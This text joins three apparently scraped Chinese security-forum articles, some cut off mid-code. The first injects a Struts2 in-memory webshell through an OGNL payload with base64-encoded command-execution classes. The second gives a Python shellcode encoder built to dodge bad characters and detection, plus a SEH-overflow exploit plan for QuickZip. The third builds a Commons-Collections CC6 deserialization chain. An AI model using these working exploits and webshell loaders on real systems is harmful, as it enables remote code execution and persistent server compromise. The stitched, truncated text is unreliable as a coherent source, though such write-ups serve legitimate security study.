QABbUABSortAARtQARKiu0AAO1AAMquwAGWSu0AAi3ABK1AAgquwAKWSu0AAy3ABO1AAwquwAGWSu0AAm3ABK1AAkquwAKWSu0AA23ABO1AA0quwAOWSu0ABC3ABS1ABCxAAAAAgBKAAAALgALAAAAUAAEAFEADABSABQAUwAcAFQAJABVADMAVgBCAFcAUQBYAGAAWQBvAFoASwAAABYAAgAAAHAATABNAAAAAABwAE8ATQABAAEAUABRAAEASQAAAC8AAQABAAAABSq0AASwAAAAAgBKAAAABgABAAAAXQBLAAAADAABAAAABQBMAE0AAAABAFIAUQABAEkAAAAvAAEAAQAAAAUqtAAFsAAAAAIASgAAAAYAAQAAAGEASwAAAAwAAQAAAAUATABNAAAAAQBTAFQAAgBJAAAALwABAAEAAAAFKrQADbAAAAACAEoAAAAGAAEAAABlAEsAAAAMAAEAAAAFAEwATQAAADcAAAACAFUAAQBWAFQAAgBJAAAALwABAAEAAAAFKrQADLAAAAACAEoAAAAGAAEAAABpAEsAAAAMAAEAAAAFAEwATQAAADcAAAACAFcAAQBYAFkAAgBJAAAALwABAAEAAAAFKrQAELAAAAACAEoAAAAGAAEAAABtAEsAAAAMAAEAAAAFAEwATQAAADcAAAACAFoAAQBbAFEAAQBJAAAALwABAAEAAAAFKrQAEbAAAAACAEoAAAAGAAEAAAB2AEsAAAAMAAEAAAAFAEwATQAAAAEAXABRAAEASQAAAC8AAQABAAAABSq0AAOwAAAAAgBKAAAABgABAAAAfQBLAAAADAABAAAABQBMAE0AAAABAF0AXgACAEkAAAAvAAEAAQAAAAUqtAAIsAAAAAIASgAAAAYAAQAAAIEASwAAAAwAAQAAAAUATABNAAAANwAAAAIAXwABAGAAXgACAEkAAAAvAAEAAQAAAAUqtAAJsAAAAAIASgAAAAYAAQAAAIUASwAAAAwAAQAAAAUATABNAAAANwAAAAIAYQABAGIAYwABAEkAAACLAAIAAgAAAE8qtAAQuQAVAQAEoAAbEhYqtAAQuQAXAQC5ABgBALYAGZkABQSsKyq0ABHGAAoqtAARpwAFEhq2ABmaABAqtAAQK7kAGwIAmQAHBKcABAOsAAAAAgBKAAAADgADAAAAiQAjAIoAJQCMAEsAAAAWAAIAAABPAEwATQAAAAAATwBkADIAAQABAGUAZgABAEkAAAGIAAIAAwAAAP4qK6YABQSsK8EAHJoABQOsK8AAHE0qtAAFxgAUKrQABSy0AAW2ABmaAA+nAAostAAFxgAFA6wqtAAExgAUKrQABCy0AAS2ABmaAA+nAAostAAExgAFA6wqtAAMxgAUKrQADCy0AAy2AB2aAA+nAAostAAMxgAFA6wqtAARxgAUKrQAESy0ABG2ABmaAA+nAAostAARxgAFA6wqtAAIxgAUKrQACCy0AAi2AB2aAA+nAAostAAIxgAFA6wqtAAJxgAUKrQACSy0AAm2AB2aAA+nAAostAAJxgAFA6wqtAAQxgAUKrQAECy0ABC2AB2aAA+nAAostAAQxgAFA6wErAAAAAIASgAAAFIAFAAAAJEABQCSAAcAlQAOAJYAEACZABUAmwA0AJwANgCfAFUAoABXAKMAdgClAHgAqACXAKkAmQCsALgArQC6ALAA2QCxANsAtAD6ALUA/AC4AEsAAAAgAAMAAAD+AEwATQAAAAAA/gBnAGgAAQAVAOkAaQBNAAIAAQBqAGsAAQBJAAABLQACAAIAAADVKrQADMYADSq0AAy2AB6nAAQDPBAfG2gqtAAIxgANKrQACLYAHqcABANgPBAfG2gqtAAJxgANKrQACbYAHqcABANgPBAfG2gqtAANxgANKrQADbYAHqcABANgPBAfG2gqtAAFxgANKrQABbYAH6cABANgPBAfG2gqtAARxgANKrQAEbYAH6cABANgPBAfG2gqtAADxgANKrQAA7YAH6cABANgPBAfG2gqtAAExgANKrQABLYAH6cABANgPBAfG2gqtAAQxgANKrQAELYAHqcABANgPBusAAAAAgBKAAAAKgAKAAAAvQATAL4AKwC/AEMAwABbAMEAcwDCAIsAwwCjAMQAuwDFANMAxgBLAAAAFgACAAAA1QBMAE0AAAATAMIAbABtAAEAAQBuAFEAAQBJAAAAuQACAAIAAABhuwAgWbcAIUwrEiK2ACNXKyq0AAS2ACMSJLYAI1crKrQABbYAI1cqtAARxgAWKxIltgAjKrQAEbYAIxImtgAjVysSJ7YAI1crEii2ACMqtAABtgApVysSKrYAI1crtgArsAAAAAIASgAAACoACgAAAMoACADLAA8AzAAdAM0AJgDOAC0AzwBAANEARwDSAFUA0wBcANQASwAAABYAAgAAAGEATABNAAAACABZAG8AcAABEAgAcQByAAEASQAAADsAAwACAAAAByorWrUAAbAAAAACAEoAAAAGAAEAAAAxAEsAAAAWAAIAAAAHAHMATQAAAAAABwB0AHUAAQACAHYAAAACAHcAMAAAAAoAAQAuABwALwAJ";
java.security.SecureClassLoader loader2 = (SecureClassLoader) this.getClass().getClassLoader();
byte[] decode2 = java.util.Base64.getDecoder().decode(s2);
java.lang.reflect.Method var472 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var472.setAccessible(true);
try {
Class var482 = (Class)var472.invoke(loader2, "com.opensymphony.xwork2.config.entities.ActionConfig", decode2, Integer.valueOf("0"), decode2.length);
java.lang.reflect.Constructor<?> constructor = var482.getDeclaredConstructor(new Class[]{String.class, String.class, String.class});
constructor.setAccessible(true);
java.util.LinkedHashMap o1 = (LinkedHashMap) obj5.get("/");
o1.put("onlysecurity", constructor.newInstance("f0ng", "onlysecurity", "com.demo.action.Cmd"));
}catch (Exception e2){
}
}catch (Exception e){
}
}
public static void main(String[] args,java.util.LinkedHashMap obj5) throws Exception {
hello aa = new hello(obj5);
}
}
payload如下:
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#inv=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation'),#f2=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation').getClass().getDeclaredField("proxy"),#f2.setAccessible(true),#obj=#f2.get(#inv),#f3=#obj.getClass().getSuperclass().getDeclaredField("configuration"),#f3.setAccessible(true),#obj2=#f3.get(#obj),#f4=#obj2.getClass().getDeclaredField("runtimeConfiguration"),#f4.setAccessible(true),#obj3=#f4.get(#obj2),#f5=#obj3.getClass().getDeclaredField("namespaceActionConfigs"),#f5.setAccessible(true),#obj4=#f5.get(#obj3),#f6=#obj4.getClass().getDeclaredField("m"),#f6.setAccessible(true),#obj5=#f6.get(#obj4),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxxx/xxxxx/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#cc1.getDeclaredMethods()[0].invoke("main",new java.lang.String[]{"a"},#obj5),#ot.println(ClassLoader.getSystemClassLoader()),#ot.flush(),#ot.close()}
成功的进度条进了一步，但是出现了一个很诡异的问题
类名一样，还不能强转？amazing！
茅塞顿开！
#### 0x02 问题2
还是classloader的问题，那么就去翻阅struts2的文档了，去找一些可能可以获取到classloader的地方，如下：
application对象：用于访问ServletContext，例如#application.userName或者#application['userName']，相当于调用ServletContext的getAttribute("username")。
session对象：用来访问HttpSession，例如#session.userName或者#session['userName']，相当于调用session.getAttribute("userName")。
request对象：用来访问HttpServletRequest属性（attribute）的Map，例如#request.userName或者#request['userName']，相当于调用request.getAttribute("userName")。
parameters对象：用于访问HTTP的请求参数，例如#parameters.userName或者#parameters['userName']，相当于调用request.getParameter("username")。
attr对象：用于按page->request->session->application顺序访问其属性。
不清楚的话，就直接通过ognl表达式去打印出来
其实这里还有个相当于隐藏的参数，#this，当前类
这里也就是重点，通过`#this.class.getClassLoader()`去获取类加载器，不放心，打印一下
仿佛在哪里看到过，回过头去action注入的时候debug一下
bingo，完全是一模一样，这就相当于找classloader成功了
### 0x04 ognl注入内存马
给出hello.java文件
hello.java
import java.util.LinkedHashMap;
/**
* @DESCRIPTION:
* @USER: f0ng
* @DATE: 2023/2/23 下午3:44
*/public class hello {
public hello( java.util.Map obj5) throws Exception {
try {
String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAGAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
ClassLoader loader = Thread.currentThread().getContextClassLoader();
System.out.println(loader);
byte[] decode = java.util.Base64.getDecoder().decode(s);
java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var47.setAccessible(true);
var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
try {
java.lang.reflect.Constructor<?> constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig").getDeclaredConstructor(new Class[]{String.class, String.class, String.class});
constructor.setAccessible(true);
java.util.LinkedHashMap o1 = (LinkedHashMap) obj5.get("");
o1.put("onlysecurity", constructor.newInstance("f0ng", "onlysecurity", "com.demo.action.Cmd"));
}catch (Exception e2) {
}
}catch (Exception e){
}
}
public static void main(String[] args, java.util.Map obj5) throws Exception {
hello aa = new hello(obj5);
}
}
编译成hello.class
那么把`java.net.URLClassLoader`的赋值增加一个`#this.class.getClassLoader()`，直接注内存马
如此丝滑！感谢su18师傅指导！
这里就不放payload了，把之前文章提及的payload进行赋值增加classloader即可。
顺带一提，这里base64的编码笔者是没有去变的，所以用的还是参考文章里struts2内存马里面的，这里如果要自定义类的话，可以使用poc2jar文件转码中的导出文件功能
保存完文件，拖到idea，直接能看到代码内容：
那么就可以注入冰蝎、哥斯拉等等方便操作的webshell了！
再次感谢su18大佬提供的冰蝎马！
### 0x05 总结
1. 内存马的知识了解甚少，一些基础知识需要去学习
2. 不能根据所掌握的知识去攻击，应该去拓展自己的知识，如这里的struts2中的`#this`变量，之前是不知道的，当知道了以后，问题就迎刃而解了
3. class.forName是取决于类加载器的，之前是URLClassloader加载器，会在其中寻找类，而又是通过file协议加载，所以会报出来classnotfound的错误
4. 捕捉到异常后，new String(Arrays.toString(e.getStackTrace()))可以将详细报错捕捉到，这里用到了写入文件进行调试实例化类时遇到的报错问题，方法比较蠢，但是有效
#### 0x06 坑点
1. 在`LinkedHashMap`对象赋值的时候，如果context是有后缀的，那么应该是obj5.get("")，没有后缀的话，那么就是obj5.get("/")
### 0x07 参考
> <https://www.cnblogs.com/xiaozhiru/p/16163057.html> 【Struts2 的内存马】
>
> <https://blog.csdn.net/xlgen157387/article/details/39735703>
> 【Struts2的OGNL详解】
>
> <https://github.com/vulhub/vulhub/tree/master/struts2/s2-016> 【Struts2
> 016环境】
>
> <https://mp.weixin.qq.com/s/outtxUANOa406ErGleWjtQ>
> 【struts2绕过waf读写文件及另类方式执行命令】 | 社区文章 |
#### 0x01 为何编码
* 字符集的差异
* 应用程序应用平台的不同，可能的字符集会有差异，限制exploit的稳定性。
* 绕过坏字符
* 针对某个应用，可能对某些”坏字符“变形或者截断，破坏exploit。
* 绕过安全防护检测
* 有很多安全检测工具是根据漏洞相应的exploit脚本特征做的检测，所以变形exploit在一定程度上可以”免杀“。
#### 0x02 如何编码
* 简单的加解密
* 用一段小巧的（以便可以在有限的字符集下实现）的代码加解密真正的shellcode。
* alpha2/3编译器
* 基于特定的reg为基地址，指向shellcode起始处，就可以生成特定字符集的编码shellcode，用途很广泛。
* custom decoder
* 一种用计算的方式产生可见字符形式的code，并压入栈上执行。
#### 0x03 编码实现
* ##### custom decoder
* 以4bytes的代码为一个片段（DWORD），这是在32bits下，在64bits下可以以QWORD为一个片段。通过计算产生一个片段。如opcode
push edx = x52
pop eax = x58
jmp edx = xffxe2
* 在内存中就是'\x52\x58\xff\xe2'，DWORD表示就是0xe2ff5852。我们如果计算得到0xe2ff5852也就可以得到相应的opcode。
* 计算原则，用到的计算数必须也是可见字符，最好只包含字母数字。
* 数字范围 **0x30 - 0x39** ，字母范围 **0x41-0x5a, 0x61 - 0x7a** 。
* 计算方式
* 先得到原始DWORD的相反数re_opcode。
0 - 0xe2ff0000 = 0x1d010000，（有一个1溢出）
* 因此，我们用0减去re_opcode，就可以得到opcode，为什么用减法而不是加法直接得到opecode呢，以eax为例，sub eax, xx指令是‘\x2d'合法的，而add eax, xx是”\x81\xC0“。
* 那么目的就很明确了，我们需要用0减去几个和为re_opcode的数得到opcode，一般是3个比较容易以可见字符组合起来。
* 以上re_opcode为例。
0x1d010000 = 0x5F555555 + 0x5F555555 + 0x5e555556
* 如何找到这样的组合呢？从低byte开始，除以3，不足的向前借1再除以3，使得结果在合法字符附近。注意借位细节。
* 计算得到opcode
set eax = 0 <== and eax, 0x554e4d4a =>"x25x4Ax4Dx4Ex55".
<== and eax, 0x2a313235 =>"x25x35x32x31x2A".
sub eax, 0x5F555555 => "\x2d\x55\x55\x55\x5f"
sub eax, 0x5F555555 => "\x2d\x55\x55\x55\x5f"
sub eax, 0x5e555556 => "\x2d\x56\x55\x55\x5e"
* 现在opcode在eax中，我们需要执行的话，最好的就是入栈。
push eax ==> '\x50'
* 自动化实现，由于每次操作太耗费时间，写了一个粗糙的脚本（暂时还没有融进Pycommand）
```python
# -*- coding: utf-8 -*- import string
from struct import pack, unpack
#用计算的方式产生opcode，并压入栈中
#input = 类似'\x90'的字节序列
#output = 可见字符编码的opcode，用来生成input的code
global rightBytes, lowst
rightBytes = string.printable
lowst = 0x30
global setEaxZero, push_eax, sub_eax, longFmt, fmt
setEaxZero = ((0x25, 0x55, 0x4e, 0x4d, 0x4a),
(0x25, 0x2a, 0x31, 0x32, 0x35))
push_eax = 0x50
sub_eax = 0x2d
fmt = '\\x%x'
longFmt = fmt*5
def strToHex(src):
hex_str = src.split('\\x')[1:]
lenth = len(hex_str)
if lenth % 4:
nops = ['90'] * (4 - (lenth % 4))
hex_str = nops + hex_str
dword_str = []
i = 0
while i < len(hex_str):
hex_str[i] = ord(hex_str[i].decode('hex'))
i += 1
i -= 1
while i >= 3:
dword_str.append((hex_str[i] << 24) | (hex_str[i-1] << 16) | (hex_str[i-2] << 8) | (hex_str[i-3]))
i -= 4
return dword_str
def GenerateOneByte(bt, flag):
pass
def CalcOneDword(dw):
dw = (0 - dw) & 0xffffffff #取相反数
ans = []
mod = []
byte_s = [((dw >> (i * 8)) & 0xff) for i in range(4)] #取Dword的每一个byte, 从低到高
fg = 0
for i in range(4):
bt = byte_s[i]
if fg == 1:
bt -= 1
fg = 0
if (bt / 3) < lowst:
bt += 0x100
fg = 1
ans.append(bt / 3)
mod.append(bt % 3)
ans_ret = ((ans[0] & 0xff) | (ans[1] << 8) | (ans[2] << 16) | (ans[3] << 24))
mod_ret = (((mod[0] + ans[0]) & 0xff) | ((mod[1] + ans[1]) << 8) | ((mod[2] + ans[2]) << 16) | ((mod[3] + ans[3]) << 24))
return (ans_ret , ans_ret, mod_ret)
def GenerateOpcodes(calc_set):
for one_set in calc_set:
print longFmt % setEaxZero[0]
print longFmt % setEaxZero[1]
for dw in one_set:
print longFmt % (sub_eax, dw&0xff, (dw>>8)&0xff, (dw>>16)&0xff, (dw>>24)&0xff)
print fmt % push_eax
def GetOpcode():
opcode = raw_input('Your opcode: ')
return opcode
if __name__ == '__main__':
opcode = GetOpcode()
dword_str = strToHex(opcode)
calc_set = [CalcOneDword(dw) for dw in dword_str]
GenerateOpcodes(calc_set)
```
用法示例，产生可以构造\x00\x00\xff\xe2机器码的costom_decoder。
#### 0x04 exploit编写实践
* 目标是QuickZip 4.60.019 [CVE-OSVDB-ID 62781](https://www.exploit-db.com/exploits/11764)
* 漏洞分析
* 缓冲区溢出，而且可以覆盖SEH。
* 计算出nSEH的偏移（XP SP3中文294）。
* 正常的SEH覆盖利用，如下方式构造payload
#1 payload = junk + short_jmp(nSEH) + SEH + nops + shellcode
* 但是，由于payload是作为zip下的文件名存在的，有一定的字符限制。该程序对特殊字符的变形、甚至截断，尤其是SEH的值是一个noSafeSeh模块的'pop pop ret'的地址，存在非法字符。导致shellcode并不在我们预想的地方。比如放在nSEH前。
#2 payload = junk + shellcode + jmpback + nSEH + SEH + nops
* 但是我们前面提到了，nSEH前的偏移有限，所以这就限制了我们的shellcode的长度。
* 这里，显然会想到使用egg hunter技术解决，前提是我们的1处的shellcode有没有加载到内存里。这里可以用mona插件的compare功能来做到，将Shellcode单独写入一个文件，在程序崩溃后比较，就会发现在内存里存在shellcode的代码。
所以egg hunter是可行的。再次构造payload
#3 payload = junk + egg_hunter + nSEH + SEH + nops + shellcode
* 这样，我们的egg hunter是alpha3编码（基于edx寄存器的），那就有一个问题”如何满足基于的将egg hunter的地址给edx呢？毫无疑问，我们需要一段代码来调整edx。
* 为了更好的确定地址，我们将egg hunter放在payload的首，在nSEH处跳到调整edx的代码。
#4 payload = egg hunter + ajust_edx + nops + nSEH + SEH + nops + shellcode
* 那么问题来了，如何调整edx呢，我们可以在nSEH处下断点，看一下当前寄存器、栈的状态，看看有没有在egg hunter地址附近的值。如下图。
nSEH位置是0x13FBFC，偏移294得到egg_hunter地址 = 0x13fAD6。发现和ebp一定的差值，
* 所以，下面的一段指令可以调整edx到egg hunter
sub ebp, 0x4e3
push ebp
pop edx
jmp edx
* 但是，这里的sub ebp, 0x4e3就包含坏字符。怎么办？
* 好吧Costom decoder登场了，将上面的代码使用之前提到的Costom decoder技术产生，并入栈。这时，我们只需要jmp esp就可以调整edx了，但是就又会出现一个问题"jmp esp"本身编码是坏字符。。。所以我们需要一个更好的方式，例如假如当Costom decoder完成后，我们恰好可以平滑地走到产生的code。也就是我们在执行真正的costom_decoder之前将esp调整到nSEH之前，和costom_decoder本身之前，留下足够的opcode空间。
#5 payload = egg hunter + costom_decoder + nops + ajust_edx + nops + nSEH + SEH + nops + shellcode
* 如何调整esp？可以在栈上发现nSEH的地址，利用popad指令可以拿到ebx寄存器中，再push ebx，pop esp即可调整好esp；惊奇地发现我们能够顺利的走到ajust_edx而不需要jmp 指令。
看看调整前stack上的代码状态
执行costom_decoder之后
* 可以看到，我们生成的opcode(ajust_edx)直接送到了costom_decoder的下方，完全可以平滑地走到那里。（这里的ajust_edx根据执行完costom_decoder之后的状态改变，需要保证edx指向egg_hunter)。
* 接下来就是egg_hunter搜索shellcode并执行。
#### 0x05 学习资源
* [quickzip-stack-bof-0day](https://www.offensive-security.com/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/)
* [Win32 egg hunter](https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/) | 社区文章 |
# 不删除 "key" 的CC6反序列化
[TOC]
## 如何利用CC6
CC6，一个增强版的CC1，能够在高版本中使用。利用类还是和CC1 一样，但是替换掉了CC1 中用来反序列化的
AnnotationInvocationHandler 类。在CC6 中触发反序列化漏洞的是HashMap 类，而HashMap 是怎么融合进CC6中的呢？
这里我们看一下TiedMapEntry 类中的 getValue 方法
public Object getValue() {
return map.get(key);
}
在这里，map 字段调用了get 方法，并以字段key 作为参数。这个get 方法在CC1 的时候也有出现过，通过调用LazyMap 类的get
方法，从而触发利用链。
之后我们再看一下TiedMapEntry 类的另一个方法，hashCode
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
在这个方法中，调用到了getValue 方法来获取value 的值。 到这里，结合CC1 所学到的知识点，就可以构造出利用链了。
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainTransformer.transform()
InvokerTransformer.transform()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap= LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap,"sakut2");
entry.hashCode();
既然利用点有了，那我们现在还需要一个入口点去触发他。既然是要调用hashCode 的话那么HashMap 类就可以派上用场了
## HashMap利用
看一下HashMap#readObject 方法的代码
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
HashMap 在反序列化的时候会使用hash 方法来计算hash 值，而在hash 方法中会调用到key 的hashCode 方法
那么我们使用HashMap#put 方法将TiedMapEntry 类的对象添加到key 中，那么就可以顺利调用到hashCode 方法了
HashMap hashMap = new HashMap();
hashMap.put(entry,"sakut2");
但是在调用put 方法的时候也会触发hash 方法，从而导致payload 触发。
这里我们可以和处理URLDNS 链一样，在触发之前把能触发payload 的值先替换成别的，之后再使用反射替换成恶意值。
这里我们可以把TiedMapEntry 构造方法中的lazyMap 对象替换成一个普通的Map 类，这里使用的是HashMap 类。
TiedMapEntry entry = new TiedMapEntry(new HashMap(),"sakut2");
在调用put 方法将new HashMap() 添加到key 中后再通过反射把TiedMapEntry 中的map 字段的值修改回lazyMap 对象
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry,lazyMap);
这样我们的payload 就完成了
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap= LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(new HashMap(),"sakut2");
HashMap hashMap = new HashMap();
hashMap.put(entry,"sakut2");
